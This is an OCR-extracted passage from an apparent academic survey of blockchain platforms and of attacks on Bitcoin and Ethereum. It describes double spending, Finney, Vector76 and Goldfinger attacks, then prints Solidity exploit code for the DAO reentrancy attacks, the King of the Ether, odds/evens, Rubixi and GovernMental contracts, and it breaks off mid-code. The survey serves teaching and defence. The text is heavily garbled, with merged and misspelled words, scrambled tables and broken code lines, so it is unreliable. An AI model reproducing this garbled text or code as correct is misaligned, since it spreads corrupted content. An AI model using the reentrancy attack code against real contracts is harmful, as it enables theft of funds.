gets the least time is responsible for creating sheceeding block in the sequence. A
hardware enclave supporting hardware has tightlpleal the use of Hyperledger Sawtooth.
Originally Intel contributed to Hyperledger Sawtoot

5.2.3. Hyperledger IrohaThe Hyperledger Iroha uses blockchain technologkfowing its
clients. It permits organisations to share infoioratand handle individuality. Originally
Colu, Soramitsu, Hitachi and NTT Data contributedHtyperledger Iroha.

5.2.4. Hyperledger Burrowlhis blockchain platform is permissioned and snuamtract-
active and this accepts the smart contract codehndrie based on Ethereum. Initially, Monax
and Intel contributed to Hyperledger Burrow.



5.2.5 Hyperledger IndyHyperledger Indy is one of the independent plat®rmhich
provides trusted transactions and reliability. hoyides provisions for user-controlled
swaping of certifiable rights about recognizing ttega, and revocation models. Hyperledger
Indy provides three security properties: (i) DI3e¢entralized Identifiers) (ii) pointers to
off-ledger sources — to avoid writing personal daighe ledger, (iii) zero-knowledge-proofs.
Sovrin Foundation is sponsoring Hyperledger Indigl&a/| clearly displays the comparisons
among Hyperledger, Ethereum and Bitcoin.These cyptencies can be utilized in different
network environments for mining Bitcoin where largeount of resources are required
because of the PoW methodology. However, some ituiiists are present like PoS. With
PoW, the possibility to mine a block is dependentle miners and the amount of work done
by them. Though, Bitcoin API is utilized in differenetwork services to develop services, it
is very challenging for the users to utilize itpahilities.

Table VI: Comparison and contrast between some cryptocug®aeid hyperledger

Hyperledger

Language Java, Golang Python, Golang C++
Cryptocurrency | None, but can | Ether Bitcoin
Used be implemented
when required
Consensus PBFT PoW (Ethash) PoW (SHA 256)
Methodology
Smart Contract | Yes (chaincode] Yes (Solidity) None
& Language
Network Type Permissioned Public Public
Confidentiality | Confidential Transparent Transparent
Transactions Transactions Transactions
Business Preferred Platform for B2C| Preferred
Platforms platform for businesses and | platform for B2B
B2B businesseg generalized businesses
applications
Mode of Peer | Private and Public/Private Public/Private
Participation Permissioned | and and
Network Permissionless | Permissionless
Network Network

5.3MultiChain: Itis a blockchain platform that allows everyonestiup, configure, as well
as execute a blockchain. The blockchain can bevatpr consortium, or public blockchain.
Thus, it is open source. This blockchain platforsn actually a fork of the Bitcoin
cryptocurrency, however it has several alteratiding clients can decide if they wish to have
related cryptocurrency, and consensus method. Bulle MultiChain is a private-
permissioned blockchain which makes use of roumikr@onsensus. This says that any
entity who sets up the blockchain will acts as anager and primary entity; other entities
involved should guide their corresponding MultiGhalockchain users to the primary entity,
and the manager should permit them. MultiChaing®tr§76] an exclusive feature; these are
defined as “shared immutable key value time sedatabases” and are recorded on
blockchain.



5.4 Security Issues and Challenges in Blockchain &gms: In the previous

sections we have focussed on thefoundations orkdfain. We learnt about the Blockchain
technology and various platforms in which it is kggb in the current era. Although
blockchain is an innovative and ground-breakinghm@togy which has the potential to
change several applications, it is accompanied witmumber of issues. Few of the
corresponding issues will be discussed in this@ect

5.4.1ChallengedVith the growing useblockchain technology, varidashnical challenges

and drawbacks have come forward. Swan [77-78] camevith the following technical

challenges and drawbacks for the acceptance ofdabimology: (i) usability (ii) Versioning,

hard forks, multiple chains (iii) Size and Bandwidiv) Privacy (v) Security (vi) Wasted
Resources (vii) Latency (vii) Throughput. Table I\hows various challenges in the
blockchain system.

(i) Usability: Though Bitcoin API is present to develop serviges, very challenging for the
users to utilize its capabilities. Therefore, thisr@ requirement for developing a better and
user-friendly APl to exploit the potentials of Bkamhain. They may be similar to the
REST or RESTful API design (Representational Stasmsfer)

Table VII: Blockchain challenges and its state of art

Blockchain networkl Visualization of
analysis (1) bitcoin flow [77]
(2) bitcoin user group [79]
. End User support Transaction Validity| (1) Audit software for
Usability g
check exchange participants [80]
(2) Reputation Rating system
[81]
Developer Support Nil Solution Not addressed
Versioning, multiple| Nil Nil Solution Not addressed
chains and Hard Forks
Size and Bandwidth Nil Nil Solution Not addressed
Definition of | Nil Definition framework for
anonymity in digital anonymity [82]
currency
Deanonymization by Nil (1) Composite Signature [83]
linking transactions (2) Transaction  Mixing
protocols [86-89]
Privacy Deanonymization by Nil (1) Transaction Mixing
linking Bitcoin address protocols [85]
and IP
Analysis of anonymity| Nil (1) Reverse Engineeripng
method [90]
(2) P2P network analysis
Framework [91-92]
Market-based Solution Not addressed but
Security 5106 attack ginwt(raarllization on mining talked about in paper [93]
It is not safe to have The protocol which is used




51% computation power to limit the computatipn
power by one third [95]
Selfish mine attack The protocol which is usged
to limit the computation
power by one fourth [96]
Verifier's dilemma Protocol for regulating the
total quantity of work done
on authentication [97]
Blockchain Forks Protocol for decreasing the
propagation delay [98]
Greater likelihood of Protocol for malleability-
alteration of Bitcoin| resilient refund transaction
Data Malleability transactions and [99]
illegitimate conduct of
current wallets
Currency exchange andMentioned in [101] but
huge mining pools are solution not addressed
the main marks o
DDoS attack

Various categories of Security counter-measures
security breaching (e.g.(e.g. Bitcoin H/W wallet
DDoS, private accountetc.) [102]

hacking)
Various categories of Mentioned in {03 but
bitcoin financial scams|, solution not addressed
mining scams, scam
wallet etc.)
Identical key production Mentioned in [104] but
of elliptic curve | Solution Not addressed
cryptography (ECC)
Absence of governanceAuthorized clients addresses
in  Bitcoin  addresg form trustworthy partieg

Security Incidents

production [105],
Authentication Private key protection (1) BlueWallet, machine for
Bitcoin  hardware  tokern
[106-107]

(2)Two-factor verification by
using private key betwee
wallet as well as anothe
machine [108]

- o

Speed of Bitcoin Nil (1) Combined usage dof
mining CPUs and GPUs for non-
custom hardware-based

mining [109-110]
(2) Modified ASIC processor
for more energy-friendly

Wasted Resources Bitcoin mining [112]

Computation race Nil (1) Computation power-free
game between bitcoip Proof-of-work scheme [114-
miners 115]

(2) Economic model fo
miners [116]

Latency Nil Nil Solution Not addressed

Throughput Nil Nil Solution Not addressed

(iVersioning, Multiple Chains and Hard Forks:If the chain, in blockchain network,
comprises of a smaller number of entities, then ghabability of 51% attack is high. In



addition to this, when the chains are divided fanagerial or versioning objective another
problem appears.

(i) Size and BandwidthThe Bitcoin blockchain size has been increasingnfitbe time
when it was created, i.e., in 2009, and is expetdecach about 197 gigabytes by January
2019. When throughput grows to height of VISA, tileckchain size can increase 214PB
every year. The community Bitcoin believes thaef a block is approximately 1MB, and
one block is constructed in 10 minutes [92-94]. § hhere exists is a constraint for number
of transactions that can be managed (approxima@transactions in a block) [111-113]. In
case Blockchain is required to manage greater numb&ansactions, the size as well as
bandwidth challenges should be resolved.

(iv) Privacy and Security Currently, blockchain does have a probability5df6 attack, in
which one entity will have complete control overjangoortion of mining hash-rate of the
network. Moreover, it will have the capability &tter the blockchain. In order to overpower
this challenge, more research is required in tild Bf security.

(v)Wasted Resource$or mining Bitcoin, large amount of resources raguired because of

the PoW methodology. However, some substitutioespeesent like PoS. With PoWw, the
possibility to mine a block is dependent on the ersnand the amount of work done by
them[117]. Whereas, in PoS, the resource thatngpaoed is the amount of Bitcoin a miner
holds [117]. The challenge with wasted resources twabe resolved for having more
productive mining in the Blockchain.

(vi) Latency: For providing security for a block in Bitcoin trsarction, approximately 10
minutes is required to accomplish one transactkor. achieving efficiency in security,
greater amount of time is spent on one block, singeeds to overshadow the price of double
spending attack that is successful expenditureoaiscmore than one time [98]. Double
spending is avoided by Bitcoin by authenticatingrgvransaction which is appended to the
blockchain, in order to guarantee that inputs imgdlin a particular transaction is not spent
before [98-100], as a result increasing the lateroy VISA, a transaction processing
networks, only few seconds are taken to accomg@isfansaction that is a greater lead as
compared to Blockchain.

(vii) Throughput Currently, the throughput of Bitcoin network iscieased to 7tps (i.e.
transactions per second). However, throughput &Avand twitter is 2,000tps and 5,000tps
correspondingly. If the frequency of blockchaimsactions grows to the levels of VISA and
Twitter then, blockchain’s throughput will havelie upgraded.

5.5Attacks on Blockchain Systemd:ill now, we have focussed on the foundation oftthe
main cryptocurrencies- Bitcoin and Ethereum. Irs thection, we first talk about the factors
which hamper the working of blockchain and themaftve will focus on the attacks on
bitcoin, followed by the vulnerabilities and attaakn Ethereum.
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Figure 20: Factors hampering the performance of blockchain

There exist few key limitations of blockchain whittamper its performance. Figure 20
clearly displays the impact of current challengeblockchains on smart contract in public as
well as private networks. It further elaboratestloa fact that few problems which influence
only the public networks. On the other hand, sdvehnallenges influence both private and
public blockchains. There exists not a single @mge which have impact on only private
blockchains. The problem of unsustainable consenseihodology displayed in Proof of

Work has no effect on private blockchains netwodssmajority of the times the problems
have consensus methodology on the basis of votinguthenticated transactions [118-119].
Since, the authority of authenticating the memies With the permissioned blockchain, the
trustworthy third party’s problems related to regument is solved as most of the nodes
involved are trustworthy and known.

Table VIII: Examples of attacks on Bitcoin

Attack Explanation Victims Negative Impacts Forecastd Defensive
Measures
Double Identical bitcoins arg Trader Forks of blockchain anelnstall monitors in the bitcoin
spending used for more tha generated network. Send alert message |of
one transactions Legitimate clients are the attack to all hosts. Clients
Conflicting denied service near the merchant must inform
transactions are sent Products of thg him about the attach
one after the other im merchants are lost immediately.  The  primary
the bitcoin network incoming connection of the
merchant must be dismissed
Finney Attack Attackers secretly Merchants Forks of blockchain areBefore sending the asset to the
mine a blockchain generated  Legitimate host, the merchant should wa4it
fork (say B) and wher clients are denied for large number of
they receive theg service authentications
product they Products of the
purchased they send B merchants are lost
over the network
Brute force| Attackers secretly Merchants Large Forks df Install monitors in the bitcoin
attack mine a blockchain blockchain arel network
fork (say B). generated Send alert message of the attack
Legitimate clients are to all hosts Clients near the
denied service merchant must inform him about




Products of the

merchants are lost

the attack immediately. Th
primary incoming connection g
the merchant must be dismisse

One Create deposit E-commerce| Forks of blockchain are Before sending the asset to t
confirmation transaction T, | dealing with| generated host, the merchant should wai
attack or vectorn followed by a new| digital Legitimate clients are for large number of
76 attack fork(F) and then g currency denied service authentications

withdrawal Huge amount of bitcoir]

transactiorf,,. is lost

IfT, is rejected, attach

is successful.
Goldfinger One miner has >50%E-commerce| Denial of  service, Install monitors in the bitcoin

computing resources

dealing with
digital
currency and
hosts

legitimate users avoid network

using the network
makes the consensy
protocol fragile

Clients near the merchant mu
iIsnform him about the attac
immediately.

TwinsCoin, PieceWork

Selfish mining

Forks in blockchai
are generated an
longest block chain is
considered, res
discarded

n Legitimate
dminers

t

Facilitate Goldfish
attack, because @
forking we have race
conditions, legitimate
miners  unnecessaril
waste their resources

Various methods can be used -
f ZeroBlock, Timestamp
DECOR+ protocol

Block Partial Proof of work| Legitimate Drop the capital of the Network consist of legitimate
withholding submitted. miners network, depletion of miners, cease the network if th
Two types — resources of peers capital is less than a threshold
Sabotage and Lie in
wait
FAW attack enhances on the Legitimate Drop the capital of the None
negative impacts of | miners network, depletion of

attacks like selfish
mining and block
withholding

resources of peers

5.5.1 Attacks on Bitcoin: In the previous section, we have looked at the Kulbain's

architecture, working and understood the core qainaed working of the cryptocurrencies.
In this section, we will particularly focus on ta#acks which occur in the Bitcoin network.
But, first we will study about the double spenditmncept because of which the cause of
many attacks in the bitcoin network. Table VIl glsthe various examples of attack on

Bitcoin.

5.5.1.1 Double Spending Concept:user in the Bitcoin network accomplishes a double

spending only if he can concurrently expend santeoin collection for two distinct

transactions [63]. Example, a malicious usej)(generates some transactiogfTv) at t time
with the help of a collection of bitcoins which haserchant’s address(M) for purchasing

product from the merchant;Ubroadcasts J, m in the bitcoin network. Atgtinstant, U,
generates as well as broadcasts some other tramsaGl, um with the help of same
collection of bitcoins (i.e., B) which has receigeaddress as }Jor address of an entity
which is works under the usegUn this situation, double spending attack is sesfid, if U,
is able to deceive M to admityd, m (i.e., M delivers the product that is purchasedUt),
however M is unable to redeem.



5.5.1.2 Precaution in Blockchain:in Bitcoin network, a group of miners validate and

execute all transactions as well as they guarathi@efor the subsequent transactions only
unspent coins which were stated in the precedargstiction results are utilized as input. This

protocol is inflicted at run-time to provide proten against the probable double spending. In
blockchain network, in order to store the transasi methodically, PoW consensus

mechanism and decentralized time stamps are usedhdgtance, as soon as some miner gets
Tum m and Tum_um transactions, it can recognize that both transast(Tum m and Tum um)

are using same bitcoins. Therefore, it will autieie only one of the transactions and

discard the other one.

5.5.1.3 Double Spending in BlockchaiAlthough in blockchain, ordering of transactions,
decentralized time-stamp [64], POW mechanism, dhdraonsensus methodologies [65-66],
is performed, double spending attack is still plalesin Bitcoin. However, there are few
necessities which should be accomplished for peiftg successful double spending: (i)
portion of the miners in bitcoin network validatettransaction Jn_v and the merchant (M)
receives the validations from miners, and theretbspatches the product to the malicious
client (Uy), (i) simultaneously, other portion of the minensthe bitcoin network validates
transaction Tm_um Which results in forks in blockchain infrastructu (iii) the merchant
receives the validation of transactionmlum after accomplishing transactiony.] m, and
therefore losses its product (iv) a major partha miners work on the chain which includes
Tum um as a legal transaction. In case the above-mermtieteps are have occurred in order
then the malicious user will be able to achieveoabie spend successfully. Following are
some of the variants of double spending attack:

5.5.1.4 Finney attacf67]: In this attack, malicious users gJprivately mines a block(f
that includes transactionyh_um, and subsequently generates a transactignmulwith the
help of the same set of bitcoins for the merchant. B, is not notified to the bitcoin
network, until transactionJh_m is admitted by M. M admitsgh, m only if it gets validations
from miners that §m_m is legal and incorporated in the blockchain. Onhen U, receives
the purchased product from merchant M, the mal&ioser broadcasts, B the network.
This results in creation of a blockchain fork (Bfysame length to the prevailing fork (F). In
case the subsequent mined block extends F’ fopkaice of F, then all miners in network will
have to mine on F’(according to bitcoin protocdjhen F' becomes lengthiest blockchain,
all miners ignore F, hence thus first block in Fiestthhas the transactionyd, m becomes
illegal. As a result, making transactiog.l v invalid and M will lose its product. Transaction
Tum_ um Will be executed, and the malicious client wilceéve its coins. In Finney attack,
malicious user double spends only if one-confirorattendors are present. Figure 21 shows
this attack in detail.

5.5.1.5 Precaution:For circumventing Finney attack, merchants musicgrate for many
validations before dispatching the product to pasen This anticipation for several
validations will result in making double spend madaiificult, however the plausibility for
double spending will still be prevalent.
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Figure 21: Finney attack on a Bitcoin network

5.5.1.6 Brute-force attack [68]:This is an improvement on Finney attack. In thas,
resourceful adversary has governance on some médesthe bitcoin network, and these n
nodes make communal effort to mine block privateith an intension to double spend. An
adversary incorporates a double spending transactisome block, simultaneously working
on the expansion of private chain (i.e., F’). Assugna merchant anticipates for ‘X’
validations before admitting a transaction, andgilt deliver the product after it receives ‘X’
validations. Later, the adversary may mine theblwcks privately and broadcast these blocks
in bitcoin network. Since, this will result in loegF’ as compared to F, the fork F’ will be

expanded by all miners in the bitcoin network rasglin successful double spend.

Attack Explanation Victims Negative Impacts Forecasted Defensive
Measures
Bribery attacks Malicious users bribeThe mining Increases the Increment the incentive for
the mining nodes in | nodes as well | possibility of honest mining nodes, alerting
order to mine for as the traders | withholding the block | the ~mining nodes of the

Table XI: Some other attacks on the Bitcoin system

them

or a double spending
attack

disadvantages of bribery

Refund attacks

Malicious user uses
the refund protocols

Traders as
well as users

Loss of assets by
traders, loss of

Evidence which can be publicl
authenticated

of payment reputation of honest
mining nodes.
Feather and Malicious miners| Users Freeze the bitcoins pfNo solution yet

Punitive forking

blacklist transactiong
of specific address

user for forever

Transaction Malicious user does Centres where Exchange losses assetdMany metrics for
malleability not validate thel Bitcoin because of the authenticating the transaction
transaction and exchange take increment in doublg
modifies the| place credit or double debit
transaction-id
Wallet theft The malicious usgrBusiness orn Loss of bitcoin assets Secret sharing which s

steals or damages th

eclients

in wallet

protected by password, twg




user’s private
Key

factor security which ha
threshold signature, TrustZon
backed Bitcoin wallet,
hardware wallets

3 5

=]

n

Time jacking The malicious userMining nodes | A miner is separatedPut constraints on the range
speeds up the clock and all its resources afetolerance, time sampling d
of many mining wasted and has anNTP should be performed o
nodes. impact on mining. values that are received fro
the peers
DDoS Performed to exhaustMining nodes,| The facilities of the| signature-based authenticatig
the resources businesses honest miners are the Proof-of-Activity protocol
available in  the| Bitcoin denied, the mining
network network, nodes are separated pr
and clients driven away
Sybil The malicious user is Clients,mining| It enables time jacking, A protocol known as Xim may
responsible forl nodes, Bitcoin| the privacy of user i§ be used in which two partig
creating many virtual| network, threatened, double are mixed
Identities spend and DDoS
Eclipse or| Adversary Mining nodes,| The network and Whitelists should be utilized
netsplit monopolizes alll clients blockchain’s view is| inactivate incoming connectior
incoming not consistent, the
and outgoing double spending
connections concept is enabled with
of victim multiple
authentications
Tampering Procrastinate theMining nodes,| Increases the attacksEnhancement of th

broadcast of the
blocks as well as th
transactions to nodeg

clients

Y

due to DoS, mining
advantage
incorrectly  mounted
probability if double
spending attack

ig

management system of blo
requests

Routing attacks

Few nodes &
segregated from th
network  of the
Bitcoin,

procrastination of the
block  propagation
occur

reMining nodes,
e clients

DoS attack, mount
probability of the
double spend withou
authentication,
mounting fork rate, the
mining power of poolg
is wasted

5 Entity connections diversity i
mounted, supervise the tim
t required for round-trip, utilise
the gateways in varying ASes

Deanonymization

The addresses of

clients are attache
with  the Bitcoin
wallet

hdsers
o

Privacy breaching ¢
the clients

f CoinShuffle, CoinJoin,

5.5.1.7 Vector 76 attack [69]This is another type of attack that makes usernfafely
mined block for performing double spending attatkBitcoin Exchange (BE) Networks. A
BE is a digital market in which merchants can pasg) exchange or sell bitcoins for some
assets. In this attack, a malicious usef)(tbntains a previously mined block which contains
a transaction implementing some deposit. The nualgciuser () anticipates subsequent
block broadcast and sends the previously minedkidod newly mined block to the BE or to
its neighbouring peers. It expects that some oftireers will mine on the blockchain which
contains previously mined block (F) as prime chald, quickly transmits another
transaction which requests for withdrawal from ttegle of same set of bitcoins which was
submitted by the malicious user in its precediagsaction. Now, if the other fork (F) which
do not include the transaction which the adversdifized to credit bitcoins lasts, the credit



will be cancelled, however by now,lhas already accomplished the withdrawal. Therefore
the exchange results in loss of bitcoins.

5.5.1.8 Balance attack[120]: In this type of attack, procrastination of network
communications among many subdivisions of miner® wlave balanced mining power
occurs. There exists a trade-off between communoitédtency in bitcoin network and hash-
power of adversary which is required to double gpeith higher chances in the network of
Ethereum [103].

5.5.1.9 Goldfinger attack [122]When computation resources for mining block insesa
there is an increase in the possibility of the agglishment of a double spending which leads
to Goldfinger attack [104]. In this attack, majgriaf computation resources in the network
(more than 50%) are under the influence of only omeer or mining pool. If any action is
introduced (transaction rejection/inclusion), taikack can abolish the steadiness of the entire
network. This instability in the bitcoin networkalgs to strengthening the adversary’s place
when legitimate miners begin to quit the networkisTattack is also called as > 50% attack.
Table XI shows the various attacks on the Bitcoyat&m.

5.6 Attacks on Ethereum:In the previous section, we discussed about theevabilities
and attacks on the bitcoin network and the condeptdved for the same. In this section, we
will focus on the vulnerabilities in the Ethereunymtocurrency and also discuss the various
attacks on the Ethereum network.Before beginnirth wie attacks, let us first focus on the
nomenclatures and vulnerabilities involved in thead contract, which is an important part
of Ethereum. Table X shows some of the vulneradédliand the corresponding attacks on the
Ethereum network.

5.6.1 Call to the unknown:Few of the primitives utilized for calling proceds and
transferring the ether in solidity might get the opoonsequence of referencing
callee/recipient fallback function. The fallbackn@iion is a unique procedure that can be
coded randomly without a function name as well @abaut arguments. This procedure also
runs in case an empty signature is sent on theamnthis situation may occur in case ether
IS sent to contract.

5.6.2 Gasless Sendwhile utilizing the send procedure for transfegriether to some
contract, one may come across an “Out_Of Gas” ¢xucepl he developers cannot anticipate
such situation because running the program iselated to transmission of the ether.

5.6.3 Exception Disordefhe various circumstances in which exception mayptke, out-
of-gas-exception, call stack reaching its threshekkcution of throw command, etc. The
safety of the contracts is affected by the vanghbih management of the exceptions.

5.6.4 Immutable Bugs:After the publication of the contract, it becomesmutable.
Therefore, the clients may have confidence thaase the contract is executing its respective
operation, then its conduct during runtime will s anticipated because the consensus
methodology guarantees it. The disadvantage is thete exists no straightforward way to
redesign it if a contract incorporates a bug. 8ojmplementing it, designers must predict
methods to change or abort a contract even tholiglcoherence of this with Ethereum's
protocols can be debated.



5.6.5 ReentrancyThe atomic, as well as the sequential nature etrdnsaction, might lead
developers to assume that non-recursive procedareot be re-entered before its
cancellation when it is called. This is not alw#ayge, though, because the process of fallback
can permit an intruder to re-enter the procedullerc& his can lead to disastrous behaviors
and probably to loops of invocations that ultimatese all the gas.

5.6.6 Keeping SecretsContract fields may be public, i.e. accessibleedaly by all, or
private, i.e. not accessible directly by severkotclients or contracts. Nevertheless, private
declaration of the fields does not ensure its danfiiality. This is because customers need to
deliver a proper transaction to the mining nodesdbthe value of a field, after which the
miners will publish it on blockchain. Because ofe tipublic nature of the blockchain,
anyone can examine the transaction's contentsharsddeduce the field's new value.We will
be illustrating some attacks on the Ethereum nétwoiany of these attacks are inspired to
real world instances which exploit vulnerabiliteess mentioned in the prior section.

Table X: Few of the vulnerabilities in ethereum and the esponding attack

Vulnerability

Blockchain Time anstraint GovernMental _ '
Unpredictable State GovernMental, Dynamic libraries
EVM Immutable bugs Rubixi, GovernMental
Stack size limit GovernMental
Exception disorders King of the Ether Throne, Galental
Keeping secrets Multi-player games
Solidity Gasless send King of the Ether Throne
Reentrancy The DAO attack
Call to the unknown | The DAO attack

5.6.7 The DAO attack [123]DAO was actually a smart contract which implemerdexvd-
funding platform, which increased approximately @¥Bbefore 18 June, 2016, when it was
attacked [124]. An adversary held approximatelyM@fhder his influence till blockchain’s
fork invalidated the transactions engaged in thécmas activity. The shortened version of
DAO is shown in figure 22.

Contract DAO {

mapping (address => uint) public creditValue;

function contribute (address destination)
{creditValue[destination] += msg.value;}

function askCredit (address destination) returist)

return credit[destination];

}

function debit (uint asset) {

if (creditimsg.sender]>= asset) {

msg.sender.call.value(asset)();

creditimsg.sender]-=asset;

1}
Figure 22: The shortened version of the DAO attack




DAO permits participators to contribute ether fanding the smart contracts according to
will using the function “contribute”. The contracse later allowed to withdraw their assets
using the function “debit”. Attacks on the aboventiened smart contract are-

Attack 1: It permits the malicious user to loot the entitteee from DAO. The initial phase of
this attack is publicizing contract attackl.

contract Attackl {

DAO public dao_attack = DAO(0x354...);

address Sender;

function Attackerl (){Sender = msg.sender; }
function() { dao_attack.withdraw(dao.askCredit(}hi
function getJackpot(){Sender.send(this.value); }

}

Figure 23: The code for Attackl on the DAO smart contract

Figure 23 shows the code for the attackl on the B@rt contract. In this, the attacker
gives small amount of ether to attackl as well aks dts fallback which in turn calls
withdraw. which transmits ether to attackl. Attaskfallback is again invoked because of
the used function call. This will further call wittaw. It should be noted that withdraw is
intermittent before updating credit attribute. Sedpgently, DAO again transmits credit to
attackl, calls fallback in a loop till exhaustioihgas or stack is overflowed or DAO balance
is finished. Using the attack ether can be stalemfDAO.

Attack 2: In this attack an attacker is permitted to lo@ émtire ether from DAO, however it

requires two calls to the fallback function. Thiial phase is to publicize Attack2, delivering

it with little ether(say 1wei). Subsequently, thtaeker summons attack for donating 1wei to
itself, and then withdraws it. The responsibiliwothdraw function is to examine that user’s
credit is sufficient, and if this condition is sdied it transmits ether to attack?2.

Figure 24 displays the code for attack2 on the Dgxfart contract. In this, like previous
attack, Attack’s fallback, followed by “debit”, isvoked. Before updation of credit, “debit”
is interjected. Thus, 1wei is again sent to AttabkZAO invoking fallback again. However,
the nested calls will close because nothing is dondallback. Because of this, credit of
attack?2 is upgrades two times. For ending the lati@tJackpot is called so that all ether from
DAO is stolen and transferred to attacker’'s ownentthese, we can say that the attack 1 is
more efficient for greater investment, and attackwards even for 1wei investment.

contract Attack?2 {

DAO public daoAttack = DAO(0Ox818EA...)
address sender; bool accomplishAttacld| =
true;

function Attack2(){ sender = msg.sender; }
function attack() {
daoAttack.donate.value(1)(this);
dao.debit(1);

function() {
if (accomplishAttack) {




accomplishAttack = false;
dao.debit (1);

1}

function getJackpot(){
dao.debit (dao.value);
sender.send(this.value);

i

Figure 24:The code for attack2 on the DAO smart contract

5.6.8 King of Ether Throne [119], [125-126]s an attack in which contestants compete to
acquire “King of the Ether" title. In case any payspires for becoming king, he has to give
the current king some amount of ether and some tieesnart contract. The reward for
becoming the king increases at a constant rateré2b displays this process clearly.

Contract

______________________

/ -
Sends msg.value ,// triggers the
¥ P| execution of
KotET's fallback
New Player +
checks if the sent

ether is enough
to buy the title

Ether returned

No Yes
Throw Accept Player as
Exception new king

v v

Send

Compensation to Crown Player
old king /

Figure 25: The procedure of selection of new king

-
”]

Old King

Here we are discussing about a simple version @fkimg of the ether game which has
similar vulnerabilities and is deployed as mentwmethe figure 26. In figure 26, we can see
that on sending msg.value to the smart contraet,ctintestant triggers KoET’s fallback,
which checks if the ether is sufficient to purchkse’s title. If it is insufficient an exception
is raised, and ether is returned otherwise contesarowned as new king asdmpensation
is given to old king. Contract keeps the value Wwhgthe difference of compensation given
to old king and msg.value. This value can be ctdldcby KOET's owner by
sweepCommission

contract KoET {

address public etherKing;

uint public claimAsset = 100;

address sender;

function KoET() {

sender = msg.sender; etherKing = msg.sender
}
function getCommission(uint asset) {
sender.send(asset);




}
}

function() {

if (msg.value < claimAsset) throw;
uint reimbursement = calculateReimbursement();
etherKing.send(reimbursement);
etherKing = msg.sender;
claimAsset = calculateNewAsset();

}

[* rest of the procedures*/

}

Figure 26: Code for the King of the Ether Smart Contract

contract oddsNevens{

struct Participant { address IPadd; uint value;}
Participant[2] private participants;

uint8 total = 0; address sender;

function oddsNevens () {sender = msg.sender;}

function participate(uint value) {

if (msg.value != 1 etherValue) throw;

participants [total] = Participants(msg.senderygg|
total++;

if (total==2) Winner();

}

function Winner() private {

uint n = participants[0].value+ participants[1].ve|
participants[n%?2].IPadd.send(1800 finney);
delete participants;

total=0;

}

function getincome() { sender.send(this.asset); }

}

Figure 27: Code for Multi-player game

This contract is dishonest because if send’s ratade is not examined properly, ether can be
stolen. Assendis exposed with gasless send vulnerability, sendingpmpensation will be
unsuccessful if the address of the former king ¢@astract with costly fallback. In such
situation, the contract keeps the compensationusecaf exception disorder.

5.6.9 Multi-Player Gamesin this, a contract performs “odd & even" game whicvolves
two players, one of which selects a number. Filayqy loses if sum is odd, likewise second
player loses if sum is even.

Figure 27 displays the code which can be implentefdethe multi-player game. In this, the

bets of the contestants are stored in “particijar@her contracts cannot access this bet
because the field is “private”. For joining thisngg, every contestant should send 1 ether
while calling “participate” function. In case diffent amount is sent, an exception is raised,
and the amount is returned. After the second plgas the game, the smart contract runs



“Winner” to rewards 1.8 ether to winning player.sRef the 0.2 ether remains with the
contract, which can be accumulated by the possessay “getincome”.

For performing attack on such contract, an attackay behave as a second contestant and
wait for first contestant’s bet. Even though thestficontestant’s bet cannot be accessed, his
bet can be determined by examining the transaatitime blockchain where he got associated
with the game. Now, the attacker may become thenevirby calling “participate”with
appropriate bet.

5.6.10 Rubixi [127-128]t deploys a Ponzi scheme, which is a deceitfuestinent system
where new users’ investments are exploited by tembers to acquire money. Moreover, the
contract proprietor may accumulate some chargesd, tpathe contract upon investments.
This attack permits the attacker to thieve someuwarnof contract’s ether, taking advantage
of “immutable bugs" vulnerability.

contract RubixiContract {

address private sender;

function pyramid() { sender = msg.sender; }

function collectincome() { sender.send(accumulaigdstment)

}

/* rest of the code*/

Figure 28: Code for the Rubixi Smart contract

In figure 28, we can see that the contract nanfRulsixi.However, the constructor’'s name is
Rubix by mistake. The contructor should be execotdg when the contract runs for the first
time. However, due to this bug(change in constngttame), the constructor became public,
and could be called by anyone. Rubix function ahites the proprietor’'s address and the
proprietor may use “collectincome” to acquire hisffh.

Because of this bug, users began to call Rubibb&moming the proprietor, and hence gain
profit. Figure 29 highlights the exploitation of \@ynmental attack. Here, Governmental
contract collects assets of the contestants iresyend the contract rewards only one winner
in one cycle. For participating in the scheme, atestant should pay minimum half of
“jackpotValue”, whose expense increases after every investment. ir®acation of
“resetinvestmentValliewinner receives the jackpot and the rest ofdtteer is transmitted to
the contract proprietary. In this, the contract eglan assumption that the contestants are
either contracts containing void fallback (to avdite exception of ‘out-of-gas’) or the
clients. Following are the attacks on such contract

contract GovernMentalAttack {
address public sender;

address public finallnvestor;

uint public jackpotValue = 1 ether;
uint public finallnvestmentTime;
uint public oneMinute = 1 minutes;
function GovernMentalAttack() {
sender = msg.sender;




if (msg.value<1 ether) throw;
}
function invest() {

if (msg.value<jackpotValue/2) throw;
finallnvestor = msg.sender;
jackpotValue += msg.value/2;
finallnvestmentTime = block.time;

}
function resetinvestmentValue() {
if (block.time < finallnvestmentTime}
oneMinute)

throw;
finallnvestor.send(jackpotValue);
sender.send(this.balance-1 ether);
finallnvestor = 0;

jackpotValue = 1 ether;
finallnvestmentTime = 0O;

}
}

Figure 29: Code for the Governmental Attack

Attack 1 In this attack, “stack size limit" and “exceptidisorder” is implemented by the
proprietor of the contract. The main aim is to avpaying the winner in order to keep ether
with the contract and the proprietor can clainaiet. For this, the proprietor attempts to fail
the execution of “finalinvestor.send(jackpotValtieFor this he has to publish the contract
Attackl as mentioned in the figure 30.

contract Attackl {

function accomplishAttack(address targetlP, uinint¥alue) {
if (O<=countValue && countValue<1023) this.acconghiAttack.gas(msg.galf-
2000)(targetlP, countValue+1);

else GovernMentalAttack(targetlP).reset();

}
}

Figure 30: Code for the attack on the GovernMental Contract

In figure 30, we can see that this contract invok#ackl’'s “accomplishAttack” function,
which will result in recursive calling of “accomghAttack” function. The stack will now
start growing and when the size 1022 is reachledsetinvestmentValue” function of
Governmental is invoked. Now, this is executed tatls size 1023 and thus sending of
jackpot to winner will fail because of the callatdimit. In Governmental, the return code of
sending functions are not examined and the codgséise contract status and begins another
cycle. The contract’s cost grows in each cycle esitiee legitimate winner is not given the
amount. For accumulating ether, the proprietortbasgait for next cycle to end successfully.

Attack 2 In this attack, miner (who in reality is the adseay) impersonates as a contestant.
Since he is a miner, he has the authority of ndécseg the blocks which contain
transactions to Governmental. He may select ordyllock containing his transaction for
becoming the last contestant in a cycle. Moreower,adversary may change the ordering of



the transactions, in order to keep his transactimt. If he plays first, he may choose
appropriate ether amount for investment and prekesitof the contestant from joining this
scheme and thus, becoming the last contestanteircyble. This attack makes use of a
vulnerability called “unpredictable state”. Thisbdecause while publishing the transaction for
joining the scheme, the contestants are unceft#ie investment is sufficient for the success
of the operation.

Contract Set_Provider {
address LibAdd;
Address sender;
function Set_Provider() {
